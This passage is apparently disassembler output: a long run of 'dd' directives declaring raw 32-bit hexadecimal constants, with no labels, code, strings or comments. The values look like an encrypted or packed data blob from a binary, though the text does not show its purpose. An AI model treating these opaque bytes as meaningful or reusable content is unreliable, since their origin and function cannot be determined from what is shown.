		dd 0A06E7770h, 4F3861A7h, 3BD8ACFBh, 0E9825044h, 7FD7C825h
		dd 9C3E2EC5h, 0D72579ECh, 2A01C619h, 68A368BCh,	21FE0BD6h
		dd 58507664h, 5FE8AFC4h, 3A96EAD3h, 33B0AA6h, 40F7497Dh
		dd 0D838C4C6h, 22BD295Bh, 1803022Eh, 6F691C08h,	8C0FC428h
		dd 0BB7D9E05h, 84BB290Ch, 0A9081A5Dh, 56CA541h,	45FDA5FEh
		dd 16CDBC32h, 7E097B04h, 0F416D7D9h, 4B3B1438h,	0E9073CBAh
		dd 0FFC5D213h, 98B5F3BAh, 0B0535133h, 81059564h, 0B6B28088h
		dd 0E6252867h, 2469F058h, 316A80C6h, 9E53660Eh,	0C28F2E94h
		dd 0E9DA4167h, 31265B84h, 18E6882h, 0F297E479h,	0A6BAC385h
		dd 65BD4B58h, 0BEA6AFF5h, 0DD01FB4Eh, 16E9D701h, 0FE1BD928h
		dd 77C904C8h, 16713232h, 0E2DD09F9h, 12F0CF3Eh,	71A44E5Ch
		dd 8559523h, 0BD249786h, 1C45B554h, 0F67F3B8Bh,	7B5C7163h
		dd 430039ADh, 55C7CB81h, 82A04F47h, 0AD2DBFBCh,	25EAD84Ah
		dd 135468FBh, 0E1AAC2C5h, 7AD66042h, 65160583h,	0FE18A526h
		dd 0B850CF60h, 0EA5A8402h, 0E90B91FDh, 26A9E8AAh, 0DF282456h
		dd 80F9C220h, 1763D5B9h, 0A00130CDh, 8990FD72h,	0AD514D26h
		dd 0E302D628h, 0E912DE3Eh, 3561DE09h, 0FB8A174Ch, 0D7D28DC7h
		dd 82A2D748h, 0C45790B1h, 0DF885038h, 0EF624A82h, 0AA4F0C8Ah
		dd 1930B91Eh, 6B712E10h, 8B7CDF72h, 90F97F49h, 35B85CC4h
		dd 311968C6h, 608CE925h, 76BBBEh, 0BF56932Bh, 42C90AFFh
		dd 26CF8100h, 0F77F746Ah, 0F604D8D7h, 29F63F87h, 931F0E9Dh
		dd 416D8FC8h, 5AD6F8D0h, 0CE0575B8h, 703B1B91h,	2BC4FD1Fh
		dd 74C04473h, 16D472E2h, 0A84EE94Fh, 28B35FFCh,	185EA4D3h
		dd 49743144h, 0D485A634h, 0C9EA4075h, 439002E2h, 72ED494Eh
		dd 0C7454006h, 0A5090C4Ah, 0FDB13442h, 0AC8D7BCBh, 245726C9h
		dd 58AD066Fh, 268F692h,	69D02289h, 845F215Fh, 0B2A87726h
		dd 7B354001h, 6A41830Ah, 41D347F4h, 0A6B8470Bh,	512CB323h
		dd 6BB547h, 170BB3A9h, 835A120Eh, 0CA6A03EAh, 84CD1F7h
		dd 2F890499h, 30344A0h,	81914095h, 2C2720F5h, 43FFC05Bh
		dd 52F0886Bh, 0D7AAC29Bh, 0BC136182h, 80D90400h, 0B81170EBh
		dd 69612033h, 515F93A0h, 0C49B933h, 3A83E182h, 994EC730h
		dd 621102FAh, 604909E5h, 4E523FE1h, 0C1E680FBh,	2C485908h
		dd 577A0616h, 2EDE7F6Fh, 0C0985FECh, 3A12C99h, 7E887AF1h
		dd 708CC4Ah, 2712CC68h,	99801DFEh, 24DFE9F6h, 25D397DAh
		dd 1E106D7h, 6F122584h,	0FEF24A57h, 0F47B2795h,	7051863Ch
		dd 7D8594Eh, 53337E02h,	0C16A6C01h, 70B44C2Dh, 0CE1E5E8Bh
		dd 85564B73h, 6900CAE7h, 4D62C260h, 504CC7E9h, 6056A2F7h
		dd 9247F16h, 83E930F6h,	53FA9CC2h, 19493298h, 7D004B8h
		dd 2FB15547h, 19A40D61h, 0A7194C50h, 25C18340h,	88FE07E1h
		dd 931F7B58h, 2FC00B86h, 1173EFA2h, 0A42BE18h, 21297151h
		dd 0E28102C2h, 84D52F3Eh, 12EA2D43h, 87F3FF8Fh,	671BE983h
		dd 3BE1F105h, 52C0BB4Ch, 25284BC9h, 80FD3674h, 301AE937h
		dd 3A277F92h, 7102C8F1h, 59CF31CBh, 5E2E161h, 967EB5FEh
		dd 2DBE5BF9h, 0A78C2BC4h, 388D0EEEh, 0C62F0173h, 7F08A81Ch
		dd 0FAB45BE9h, 51787130h, 257D4Ch, 871E48C5h, 0FEA0E905h
		dd 7BE28D3h, 0A6E0D1B9h, 879D8328h, 0DC925050h,	96D580h
		dd 0E04ACBFAh, 5ACE22BFh, 0BA6BC084h, 5F38A18Ch, 500B3DAh
		dd 4321361Eh, 67F73E87h, 5B912734h, 4920EB29h, 0D3411F6Bh
		dd 0BD87CB31h, 0B94ECAC6h, 0EC3B50A1h, 416EE6BCh, 1BC23ECEh
		dd 467DA06h, 6ECB2AC7h,	0FFACFA18h, 0C9AED02h, 56756A6Bh
		dd 0E911B146h, 4ADA3CBEh, 134ECAFAh, 0AA94BADh,	0BA12EE96h
		dd 10EDB920h, 3B7E2515h, 8913FEDCh, 36DD3304h, 42FF0509h
		dd 5DB389E5h, 0AE8962EFh, 84ADA941h, 95037BCAh,	601D5F7h
		dd 0D34635D0h, 0C29DE755h, 537D3FCh, 0EA44BAB5h, 60D1ECCh
		dd 91DB03Fh, 2D5A56CDh,	6037838Ch, 26E37D24h, 2131073h
		dd 29A69C68h, 55CD1772h, 12AFA8E0h, 77FB68B8h, 0A079B519h
		dd 6906642h, 48401727h,	6F61BA89h, 20816444h, 201C577Ch
		dd 32185089h, 8182693h,	2E70F4C5h, 0EA55CB01h, 3CE2411h
		dd 72B20C38h, 886D3A3Ch, 39C1155Dh, 7CE5693Ch, 4FF5A2BEh
		dd 0B567E881h, 1DBA889Ch, 0B33C946Dh, 0A120BE04h, 65AAC02Bh
		dd 3248A679h, 57CD1078h, 29B2D50h, 68218B0Bh, 1F6C0971h
		dd 0FE17250Fh, 0A7647A11h, 0C2608137h, 0C63A4D3Fh, 144F0712h
		dd 0CA48E478h, 84D710B9h, 1821D740h, 0C69093Dh,	940B7472h
		dd 0C016E9A8h, 5AB1512Ah, 974EE078h, 0FD8012E1h, 2DB6C080h
		dd 0C0F2F120h, 1208E134h, 605EA105h, 1A0787FDh,	0B22BA942h
		dd 866E36Eh, 4B5863F0h,	45AA84CAh, 4D575AFh, 0EAFFB809h
		dd 18273A8h, 1E4156C3h,	85BE05EDh, 0F6E0BA91h, 6C9A04FDh
		dd 0BEF1E91Ah, 0E7BE2852h, 455B12DAh, 0C1C5C8FFh, 7D7C51F0h
		dd 7245629Dh, 0D85A5F6Dh, 0F52568C1h, 0A2C49948h, 94F0F83Eh
		dd 0C1C613C1h, 7383BE6h, 34FD97F0h, 0C30D7ED5h,	0C811C3FDh
		dd 0DF01B088h, 51698C9Eh, 386D085Bh, 54D8BB02h,	92E0608Ch
		dd 828A944Eh, 439369EFh, 26B97BF7h, 32C20054h, 4A45156Bh
		dd 4A2D50B7h, 8B8E822Ch, 711CFC57h, 28666858h, 1B2A9E28h
		dd 6BA0704Eh, 5795F99Bh, 705671Ch, 57FBCE5h, 53C1D1EBh
		dd 0D7F47ABBh, 0E9D80929h, 5B578F19h, 0E162965Eh, 27D70256h
		dd 5797EF6Ch, 0B899F2B6h, 8F85572Fh, 5846015Ch,	0F835AB11h
		dd 8BA9B041h, 54F600EEh, 206A2F3Fh, 0E9A922FFh,	2F5DD4CCh
		dd 0BC1C1EFDh, 0C168C141h, 1E516321h, 7AB85650h, 0D7E03EFDh
		dd 30C9D8CCh, 0EF5C875Fh, 3D2D1659h, 0BAE47CECh, 5A36CD80h
		dd 0E9161A14h, 0E400B93Bh, 0F4017483h, 7ED08925h, 481C027Ch
		dd 68411F59h, 7077E4B7h, 0A045E925h, 612EC5F1h,	0F7361290h
		dd 0EBBA04DDh, 3BDBB8Ah, 0BD055493h, 0D74068C4h, 2F9CA2A6h
		dd 68A71C7Eh, 974401F9h, 0E986ABD3h, 4A777771h,	60B4A5C6h
		dd 11183216h, 8318758Eh, 3E582E2Bh, 0F6D415BFh,	7E266510h
		dd 0A2BDC050h, 48D63F17h, 7774B909h, 2E0B5710h,	5F7D38E0h
		dd 0C7D8982Ch, 3DE5D52h, 9E553B46h, 2FD27B7h, 0FA6C7362h
		dd 0B6F14CFAh, 927411Fh, 0A5106AB6h, 790B361Ch,	80D2F706h
		dd 740EAECCh, 0A00BD3Bh, 1D7F258Ah, 0C2EDE927h,	8F94F733h
		dd 706342BDh, 30B23BE4h, 0C98905ADh, 98C94375h,	48652A25h
		dd 0CE188D75h, 68E9122Fh, 0EFF2604Eh, 0B481944Fh, 0E4B2972Dh
		dd 70D0B625h, 0C5564A40h, 0ABA2FBB7h, 0E010F83Eh, 0C8D75F97h
		dd 0F9C52567h, 0D71D9282h, 0E49CF691h, 0F5A85DB4h, 4E9725A1h
		dd 0F8534F94h, 31694E98h
		dd 2A21803Ah, 414B8268h, 9A76278Ch, 0D5F60112h,	0CD80C5FEh
		dd 3AF5CC90h, 0A0B4501Eh, 9FD9C44Fh, 0E502BC9Ch, 0FD2760E9h
		dd 0F61732D9h, 7CCB1204h, 25C5510Eh, 54A890CDh,	2940EC01h
		dd 13FE02B0h, 0ABBCE9D6h, 6EEA624Bh, 54F0B522h,	56FC51DAh
		dd 28416086h, 0AE97507Dh, 25149391h, 94DCD379h,	179DA211h
		dd 9682AD25h, 2C8E6E4Ah, 0C797F81Ch, 0A0EE1609h, 0FA23DF30h
		dd 513F9809h, 840072Dh,	27D97EE7h, 0A358D160h, 136BC026h
		dd 1210E381h, 3B6015F1h, 5E43659Dh, 0AC43C1FEh,	0FFB36E1Dh
		dd 72F2EFD2h, 0A8B0E9C4h, 65B11D17h, 271B90C8h,	0D102225Eh
		dd 61612447h, 0DA5D595h, 5A203CF0h, 86AD62C2h, 0B8A29565h
		dd 875934DEh, 2585388h,	972AB7BEh, 8B09E055h, 3A07300Dh
		dd 0AD28C558h, 0C9204B98h, 5D0995DBh, 43EFA0D5h, 0A2925886h
		dd 3EA70592h, 0A74D3A8Bh, 2714F711h, 0F0F55EDh,	0EA4A0F65h
		dd 0E87FC7E5h, 8B2F256Eh, 62CFD7B0h, 0E9D268AFh, 0DE9AB5D5h
		dd 4802898Bh, 0B600E448h, 0B0F088CBh, 9E282AFDh, 152A2588h
		dd 0DE2DB066h, 54AC5C9Ch, 632D76B7h, 0DBE76859h, 7810311Bh
		dd 21142D3Ah, 874BFDCAh, 437DA9CCh, 1342196h, 40BABF96h
		dd 1BDB2DC5h, 5007DA8h,	221762AAh, 0BDEA8DE9h, 0EF67ECF4h
		dd 0CAD2FA57h, 0B71477ECh, 0B5515305h, 0BDC5E9A3h, 0A93C66BDh
		dd 0F1849F74h, 0C7D68157h, 52C93E75h, 56EE4DFDh, 9A4A060h
		dd 0E33055B4h, 2052A80Dh, 0C50EED09h, 0C7E8B652h, 0EE935CCEh
		dd 4FF8D20h, 0FE299559h, 0EB3A0D9Dh, 25E96738h,	3E1057A3h
		dd 2814ECBFh, 10A23E60h, 5F25A872h, 780C1002h, 0B7F10ECBh
		dd 0AAFDFBCAh, 2DBFD265h, 8A0970E9h, 0EC52CB40h, 9175D3E8h
		dd 6D7105FEh, 84407EEh,	0BBBF61F8h, 7862D163h, 0C7203DD5h
		dd 0F4A6A831h, 98CCE684h, 8DE02F2Eh, 0C2B09A14h, 46C6EB27h
		dd 22C12409h, 0E4D79277h, 212D5C92h, 83E719F9h,	0D8950706h
		dd 5EC595ADh, 74686D8Bh, 0A3FC69C6h, 56456ADh, 0BC42E958h
		dd 0FDBB0004h, 214C4107h, 5B6BCBDAh, 12DEC104h,	0FD1D01EAh
		dd 0F383727Bh, 4C81D849h, 2DA00760h, 73AC829h, 9B885A3Ch
		dd 0D3DD6BB3h, 29BC0275h, 78295F6Dh, 5DF49500h,	520E0E02h
		dd 47A36855h, 83AB6B25h, 59E74B1h, 140E8369h, 1484AF4Fh
		dd 9550710h, 22FE6853h,	0DD12E95Bh, 3502BFC4h, 0F73E9924h
		dd 0C35260D6h, 0B78AAC20h, 2F896456h, 501A55ADh, 3DF50752h
		dd 40DD80A1h, 20547D9h,	0EAAE2CEEh, 0E0F7C121h,	2E6D9229h
		dd 20F31E3h, 3F7B5C12h,	21B2B055h, 0CFD804A0h, 0EE446BE9h
		dd 55601B28h, 0C04143D3h, 3325E72Ah, 6F11F9FBh,	0A45AC73Fh
		dd 8F12166Ch, 0C4AE4516h, 0B59F8419h, 8BB972E4h, 2250E051h
		dd 2D0100DCh, 7E8C3F93h, 81CE8C1h, 8B715E68h, 0BE045B35h
		dd 3FF04504h, 76A02985h, 94504804h, 13CECB10h, 0CBAA595Fh
		dd 0AF680C68h, 97055341h, 0EF5C3D84h, 68E2F6BCh, 0C4E89D70h
		dd 857E774Dh, 0F4E059DAh, 41354E10h, 0C449A251h, 8BF4813Ah
		dd 31E9DF92h, 2F6A5DC9h, 9086955h, 0BD6A20F8h, 2371EE0h
		dd 2926B861h, 70F7DFA3h, 31E12705h, 956FDCDBh, 20744C68h
		dd 2E6806B0h, 9648DB06h, 341BF4Bh, 25566D74h, 0B951A440h
		dd 0DC3D18ABh, 535CB215h, 5577720h, 63A65F6Dh, 9AC6BF41h
		dd 13607C20h, 0B489B22Eh, 59DFAA92h, 0CF449B03h, 0E280001h
		dd 0B87D5F29h, 9A247EAFh, 7827D34Fh, 235E3C7Fh,	8501799Dh
		dd 944BE953h, 0D7ADFAFCh, 0BC5FAA16h, 35E9BCF9h, 0BF410EEEh
		dd 226FAC80h, 0DC1D6C3Fh, 4318C11Ch, 0E904D9F7h, 0B2476ABDh
		dd 5E8F01F9h, 205D63D0h, 60B7CE3h, 7C5B6221h, 0BD550004h
		dd 18D260A8h, 0E73E912h, 85870DFDh, 5177092Ch, 201AC237h
		dd 25EA79F7h, 90F8F77h,	1F445F44h, 2A37E912h, 5EEF58A4h
		dd 9301BF04h, 3C62140Ah, 6343D8DBh, 0F87B5E8Ch,	46C6802Ch
		dd 0A29ABCAh, 1EAE9FBh,	4AC78190h, 0E5408E99h, 164F62F9h
		dd 3121A8A9h, 296241DDh, 0D734591Dh, 7A02AB02h,	0D814F4F3h
		dd 64029733h, 0C67D1012h, 0BE8E1CFFh, 0C0E06FEEh, 225FEB61h
		dd 0B14E1CADh, 0AD0B04AAh, 0F62D84B3h, 20BD8DEAh, 28406F2Fh
		dd 6BEB557h, 8016519Ah,	1D126DEBh, 0C0B4FD80h, 0F51B751h
		dd 0DCE7DD6Bh, 0E2C5FE0Fh, 0F433E9ECh, 0D2F70360h, 0A410E2C1h
		dd 6809D87Bh, 327F6FAEh, 657B7427h, 0F6DBC55h, 4E401859h
		dd 0B8E9A2CDh, 0FE36C9D9h, 3C7E96Eh, 0D1F6CB86h, 0D926A730h
		dd 0B4500008h, 1F6866DEh, 8B37E932h, 9B93B4Bh, 2F417560h
		dd 9B466E5Bh, 1224C9Dh,	812FC3B9h, 2DCD2178h, 109F12ECh
		dd 0A2E667EAh, 3F48215Ah, 171239CDh, 0A412418Eh, 0EFCC8401h
		dd 2041EA31h, 0A53577FDh, 7F38A30h, 0D14CCE2Fh,	37B1E2E3h
		dd 9FC7F9DFh, 0AD592668h, 0C701ECB8h, 0A60BACB2h, 0F17A4C05h
		dd 7173030Ch, 0E3B13590h, 5A85D00Dh, 96B47EB7h,	48D01431h
		dd 0A3659D07h, 1F89E22Ch, 2C4D4757h, 32D04258h,	25FBB800h
		dd 0EB274A17h, 0F705E7D2h, 685EFC20h, 2D9C59B1h, 3F6F162h
		dd 0BA94C888h, 6BD360F4h, 0EA7418C4h, 27417EA7h, 0E53A89D7h
		dd 0D990A7ADh, 66BF86F6h, 71A22086h, 7E895F25h,	4ADA6082h
		dd 99B47DC4h, 16B70720h, 87CD2AD4h, 0BA3388CCh,	0C08182A9h
		dd 0F2E559F4h, 450AE854h, 0F581F992h, 653F1A83h, 9F69B9ECh
		dd 564CE1E6h, 47CF31B9h, 568AD430h, 81B62B90h, 803109F3h
		dd 69FA8012h, 2959281Ch, 0BA5203DFh, 70F83345h,	0A160E2F2h
		dd 0B981CB5h, 3B3D0E1Ch, 8F1AE6A6h, 0A716F6A1h,	4E270ED8h
		dd 0EB47D695h, 5B0043D6h, 0BA16545Fh, 0ABA016A4h, 1FA0A9E9h
		dd 0FD0F0DC5h, 39E8463Ah, 0BCBA4BA2h, 68640CAEh, 6580BE1h
		dd 0DBE9D031h, 3BF16463h, 0D9B92C65h, 6706524Ch, 0C40C039h
		dd 9E7ED804h, 68A8092Eh, 9E40192Dh, 640178B9h, 0FDBD0D04h
		dd 31C4D744h, 0D5E92ECDh, 5B668091h, 0C8FED8F6h, 88C13416h
		dd 80B02CB8h, 0E7E69AEFh, 0B5519E00h, 0C0DDF619h, 0FE0213EDh
		dd 0E56CC8CDh, 41E92A16h, 755B5FC2h, 286226D4h,	9EE77B2h
		dd 920B1FB1h, 7CCEDF7Bh, 0D48B1ABDh, 8B471D28h,	4EC061AAh
		dd 0D7516012h, 407546ACh, 0B6525902h, 0E0CE805Eh, 0B54A26F1h
		dd 319002D1h, 0BA1CAE85h, 0A3B60577h, 4609717h,	45711917h
		dd 0D84ACEB0h, 4BDE3CE8h, 1155B863h, 0FC3FC16Ah, 0FD5E2F3Bh
		dd 0A9D78612h, 0ED237768h, 0EA856B91h, 6450DCB3h, 0F48880A8h
		dd 48675A49h, 0C5257DFFh, 247DF30Ch, 6A36024Ch,	0DF7494h
		dd 0D756AD94h, 98FF827Bh, 0B0D331DCh, 858D8A93h, 13FE2390h
		dd 0CEB7AF5Fh, 6A7908DBh, 66E92E1Eh, 0DF087F64h, 0E380008Ah
		dd 11B252AFh, 4939CAECh, 0DAF680FEh, 0E99FB151h, 0B4F74B36h
		dd 1C624F5Ah, 0EBF58BFCh, 63FCB1FFh, 0DD687885h, 0AF31EF75h
		dd 0E9017E9Fh, 0BAE72582h, 420DEB30h, 1942DF1Dh, 6003E8C9h
		dd 598074A5h, 4AA7EE55h, 20BC8960h, 367FCC7h, 0AA7A563Eh
		dd 5C5AC22Ah, 0BAA4CDE9h, 0FA1ACECh, 0A04270AFh, 594FA1BAh
		dd 57613DBFh, 5613D557h, 775A0E2Eh, 0C702F978h,	9098B071h
		dd 0CF5889B7h, 0F5290488h, 5EA8EA5Eh, 0C33B0192h, 3F04CB20h
		dd 3A842D84h, 0BAB413BAh, 80EDF373h, 9D028010h,	0E9055279h
		dd 40BBA5FEh, 0D57BAC40h, 5C90581Eh, 24D0F0Ah, 839DB56Ah
		dd 3367D22Dh, 70AD9F7h,	7085A1BAh, 9C93EACAh, 5955303Eh
		dd 0B1F1812Ah, 468D7A1Fh
		dd 0CD8E648Ah, 3D2CD598h, 5265B4AEh, 0D1D2B58h,	58B07071h
		dd 9D612CE9h, 40BF6E6h,	2A1DEE17h, 110F173Fh, 0A4F5EEE2h
		dd 44ABEBC7h, 0EE4B909Fh, 5EDB664h, 410F1C93h, 1143B48h
		dd 41EFE1CFh, 3F94E908h, 95EE509h, 0ECE25DB4h, 10433D40h
		dd 2973D80Ah, 1A1CC4EBh, 75241F49h, 0F8239E0h, 0E975030Bh
		dd 9833A935h, 0C0772E7Eh, 3754EFF7h, 0E0A208BDh, 84006BF6h
		dd 56B5EB1Fh, 2EE12CE9h, 25689CBEh, 4264FC51h, 2EBA03B1h
		dd 54A0FA0h, 89E31EEFh,	762550D2h, 0B08AAA59h, 9DED9140h
		dd 36DCEEC2h, 0D11C09CBh, 0CD74BDAh, 0BFBF2E3Fh, 292E7F5Ah
		dd 8910D4F8h, 0AD3CC05Ah, 0E34B6A1Ch, 22A80FAEh, 96CCFA57h
		dd 57CF4060h, 0BA685502h, 423C7215h, 13F2D61Fh,	987F658h
		dd 3075A768h, 24030110h, 2D5715FEh, 0E9F787F7h,	8DEE5984h
		dd 0E4AC3B8Dh, 0E94B01C1h, 3825C96Dh, 0F63E6081h, 7E639526h
		dd 0C95B9EC1h, 9C0EDADDh, 8C8925F8h, 68BE4540h,	0C2835681h
		dd 4E83428Dh, 57C3FBFDh, 4A9D8876h, 0F25AE9h, 3248BD8Ah
		dd 0BC905E11h, 0FCEB8995h, 0BC61F241h, 18D142ADh, 330B2152h
		dd 232857Dh, 90C86B41h,	0B279B6FEh, 88EA9747h, 6286F37Dh
		dd 0E45F7DE9h, 23730B52h, 0E874142Ch, 0F6C62E04h, 0EAF0C5AFh
		dd 0B8D615E6h, 3613ED7h, 62E93EFFh, 0C1540C1Bh,	0D41C03E2h
		dd 0E0237817h, 9B4053BCh, 0AC3AE15Bh, 77C2B2DFh, 0F52AD8C4h
		dd 0CDDE140Bh, 1265EADCh, 0B57644Eh, 26606866h,	29EE07D2h
		dd 0C49B1E58h, 0B9EACBB5h, 5F05922Eh, 48FEB1A3h, 5692C18h
		dd 5F942926h, 666F72C0h, 34B70F53h, 0F7EFFA28h,	2FD04D79h
		dd 0BC7BB204h, 0AB9219A8h, 0C680FDD0h, 0E506C3F0h, 2C27F788h
		dd 55B03BFh, 4E84B0CEh,	0FAEB4E81h, 0C3297806h,	5F564F50h
		dd 5893B994h, 64DA235Bh, 0F3B56D50h, 897AAE0Eh,	8D94802h
		dd 10EB932h, 0C1BCEBDAh, 0B55C5889h, 378709EBh,	0E9D842EDh
		dd 0BD133D20h, 634AC876h, 0B44BAE02h, 0C0D7700Ah, 99CF8107h
		dd 7313FB68h, 85286E9h,	0F61778EEh, 0C0F74B5Ah,	0B9C5F24h
		dd 0FF300250h, 0D076643Ah, 38355800h, 503C6203h, 504B945Dh
		dd 68175756h, 30E325B9h, 813C2A00h, 0A32DBF1Ah,	89533325h
		dd 99F59682h, 3E909A6h,	52555B26h, 28381706h, 13F15F31h
		dd 0F6108DE9h, 0B2B1F94h, 303175E7h, 2FC68B3h, 875D13B9h
		dd 80F77E6Bh, 393F2144h, 224DF0E9h, 5D80028h, 6BDE5BBBh
		dd 35FF0E2Dh, 0BAB22091h, 68794B22h, 0EA06BB86h, 0FA6B5444h
		dd 266314F8h, 0F909E435h, 2A8E6266h, 0F4A3788Bh, 0A6DE082Ch
		dd 4B2F797Ch, 0D9E7BB01h, 883B5496h, 42B7738Eh,	285957BFh
		dd 5D71CA52h, 5B0C29E4h, 0C70216Ah, 54E1689h, 0C7A54A77h
		dd 5F0C3408h, 7B9A1D14h, 68FD7E02h, 7BFE43DDh, 0FBE957C0h
		dd 14579762h, 8202BCEFh, 54614FEBh, 68F3C1C0h, 0E6046725h
		dd 3DF818BEh, 0A9EE7AE0h, 5B20DC48h, 7FEB7AD2h,	0A252B7Ah
		dd 7979C88Ah, 278C2676h, 810245Fh, 4016D770h, 136449A0h
		dd 4311816h, 13D67FFh, 0C208A134h, 4130C830h, 0B15ACFBAh
		dd 9C7E880h, 294D13C1h,	87210CAh, 0D6895601h, 2B2D38E9h
		dd 5C051DCEh, 0D335868h, 0F00A3E7Eh, 7B092C77h,	8453F10Ch
		dd 31065DE4h, 669D9CC1h, 0B44DB952h, 0EC5F840Dh, 39EF4B67h
		dd 2EF2C7Dh, 1F7F0D86h,	0FBCC4B01h, 23891209h, 53DFA49Bh
		dd 72DCBB07h, 93D23DA1h, 97507230h, 0B584C829h,	71A7AABCh
		dd 49E26227h, 50B3A57Dh, 51E95C20h, 621BA0ACh, 3CD22537h
		dd 0D126B7D6h, 19948A39h, 0C31CE736h, 174B5345h, 500135B8h
		dd 6661DB68h, 0C7512014h, 6B270C74h, 26C25D1Ch,	50E1080Fh
		dd 835C7FE9h, 3F89F36Bh, 6831D276h, 0C01657A7h,	1B7C68B0h
		dd 72C652DBh, 2C0F7AEEh, 12D0F289h, 82E7BFFAh, 2FE96940h
		dd 3FE81CDCh, 0DB9FE0B2h, 58500846h, 956E77A5h,	3F4AA8FEh
		dd 0C0E43EB8h, 0AC71B7AFh, 4805097h, 4951E581h,	0C57B8072h
		dd 92244F31h, 3E045ED9h, 40C1D30Ah, 0FA045616h,	2B19AEE8h
		dd 805E9015h, 3DC68173h, 0B5B1DCBh, 207A9A2Dh, 0F028AC82h
		dd 5D098B08h, 0E957CBBEh, 9E661889h, 401AF113h,	3DBE56F0h
		dd 5924BB35h, 530DBE31h, 4989C883h, 3ED462A6h, 976D7AC9h
		dd 848303FDh, 0BE234AEEh, 84A58CCDh, 2085CE5Dh,	0BBA068C5h
		dd 513BB3E6h, 0F5ED2D80h, 0E3E92182h, 205674C9h, 22092B5Dh
		dd 40892010h, 954E2953h, 0EDE39468h, 7B020C99h,	50EDC07h
		dd 3C98C006h, 3A40D603h, 4D9F90F0h, 0FB58C740h,	0DC7A252Fh
		dd 2E5A0881h, 0DF3090E6h, 3C7DBBFBh, 0F70EA309h, 36F07D3h
		dd 3892AFF5h, 0CA7855BDh, 0B092F795h, 25CBE3A8h, 55173071h
		dd 2B538E09h, 8053010Dh, 0B82FDBC2h, 0E96BA0DAh, 58E1A8F2h
		dd 6FDC629h, 8A5A12C7h,	698860F0h, 78580854h, 0DF6B27B9h
		dd 98A29A46h, 829993DDh, 0AFC0B14h, 174DF62h, 66027768h
		dd 538F07DAh, 8CD26B6Dh, 0E90DA13Eh, 349346C7h,	0A95EFE05h
		dd 723DD08Bh, 57042F3Fh, 0B0B819D7h, 0DD76A1AFh, 0FCE133Ch
		dd 110249BDh, 4A1BB107h, 1521C975h, 20D813A5h, 6B49E92Dh
		dd 314B176h, 94E1F37Eh,	0DE6885F1h, 4B20B3EEh, 0BBCFC4EEh
		dd 0A1969EE2h, 6DAF3EA0h, 5C0D9294h, 7EE281E9h,	0BC5F58E9h
		dd 89E2A5FDh, 2D3F567h,	3786A310h, 72B73413h, 5DF9042Ch
		dd 0AAC1010Ah, 0BEE5A3E8h, 0AB4F78F7h, 532901CAh, 0DD20384Dh
		dd 0EAB1FD97h, 2AE8C1D2h, 494D53C8h, 0F83B5F97h, 2C75F596h
		dd 8240FE11h, 48FDECACh, 0D9813A03h, 61121F67h,	133D003h
		dd 0B503265Ah, 0E6379236h, 0A07E3030h, 6FB5C124h, 9F4FA0Fh
		dd 0A998A5CBh, 23FB7B9h, 507E080h, 17496A1Fh, 74C32927h
		dd 0C5EBC0DDh, 487EFA09h, 0D65340DFh, 61A19797h, 3AECDB79h
		dd 0EEC3C1C1h, 0F0A516DCh, 0A798D601h, 68550880h, 195E6127h
		dd 8A85962h, 30D54A0Dh,	0BBC6826h, 0BF1C8593h, 85ED6372h
		dd 5482AF93h, 84215720h, 97190668h, 0FF09B708h,	53285754h
		dd 0CCF069C6h, 381E7EFDh, 4BBA0C74h, 6EDC2862h,	0E90EEF98h
		dd 82D4978Eh, 90F272AFh, 49C6401Dh, 0A543B4A0h,	137AE53Eh
		dd 0E5CA230Eh, 0D982AF4Eh, 75786A2Fh, 0E9D88CD4h, 2733BA90h
		dd 0F8990C68h, 0EBA1FBBEh, 11E3F470h, 0B3021F9Bh, 40D4FA7Eh
		dd 0D067C5DAh, 11209868h, 5E5C113h, 1F03AA08h, 7C048959h
		dd 0C2D955h, 0B94BF681h, 4BB0D076h, 69B23A4Fh, 24406882h
		dd 182849ACh, 92114D9Dh, 1D118599h, 4218CBB2h, 36B0C951h
		dd 82509168h, 0DC74E3C2h, 6DEBC784h, 0F760D887h, 613D3020h
		dd 707D1801h, 0D28EFA06h, 0F9CF9AA2h, 60090841h, 12C6EF9h
		dd 820FDFDh, 0EE0B5F7Dh, 0FD5DACE9h, 0EA5F911Ah, 885ADF0Ch
		dd 46800C4Eh, 2D77B4B9h, 7CDE6E3Eh, 74F40894h, 3C1A3012h
		dd 9A0415FCh, 0AE68C4F1h, 0D9894404h, 5A5BD782h, 2ECE0721h
		dd 7E5A149Dh, 7ACFFFF2h, 4D685C05h, 54AB324Ch, 95F966Ah
		dd 5A6F57D2h, 1D16EC0Dh, 2E6FB530h, 28E373A6h, 198F25BDh
		dd 0D898B4D8h, 684A3A0Fh, 2C13B767h, 0E9CB78FAh, 43A1554Eh
		dd 12D7DA7Bh, 0F9BDD168h, 0A30031Ah, 88F85BDFh,	672CD10Ch
		dd 2B0F72Fh, 489748F7h,	2732F6BDh, 0B3F05E9Bh, 4615DA25h
		dd 0D6F32DF2h, 0B062E8DEh, 7F487844h, 5E932683h, 26FEA893h
		dd 60BB200Ch, 2E5C08Eh,	2250E918h, 985AD18Bh, 584F73A3h
		dd 97F3501h, 5F4B2711h
		dd 8A0D5D4h, 8B473B5h, 35005684h, 0C1B464C8h, 800BB031h
		dd 0E57EE1B0h, 0B6D70920h, 39BE4274h, 15D64C75h, 9708D368h
		dd 35D1E90Eh, 8AE6FB12h, 96BB327Ch, 0EC604B36h,	0EF4B4073h
		dd 1746EF8h, 874FE243h,	0B0D7F7F9h, 3828B208h, 0C4E6033h
		dd 79F5C68h, 36BF30C3h,	0F1600258h, 52397418h, 7AB47057h
		dd 0B24405F3h, 0C1DD8923h, 7E661C82h, 99681B3h,	75E02EB0h
		dd 0EB0F8058h, 66F328E0h, 4F224F3Ch, 4054F964h,	184110C4h
		dd 0ED79E113h, 27E9CEEEh, 0B58C665Ah, 0F727F297h, 0A5F61B91h
		dd 0B516F7B2h, 0DBAA5B4Bh, 0D3E716B5h, 0B54135A2h, 24F60960h
		dd 20FF4142h, 0B736C002h, 0E99D190Eh, 0A03CA52Dh, 0A04AC09Ch
		dd 70BD0123h, 31394546h, 46677BCDh, 0AE160BD4h,	95AAD1C5h
		dd 4CE81F0h, 0D6F239A1h, 2284D41Ch, 16EF5326h, 4C9479Bh
		dd 0D6B2E075h, 4A5EB450h, 924830F8h, 45921E6Bh,	0A35FFE63h
		dd 0B38A74FBh, 0E7B90331h, 1F231358h, 82A71DE0h, 26E968DCh
		dd 54690A5Eh, 52FEA7DAh, 3031D827h, 0F2B9E116h,	0B4836CFh
		dd 8DE05FACh, 0E4BC09CCh, 70D7314Eh, 522B0123h,	0A2E95ED8h
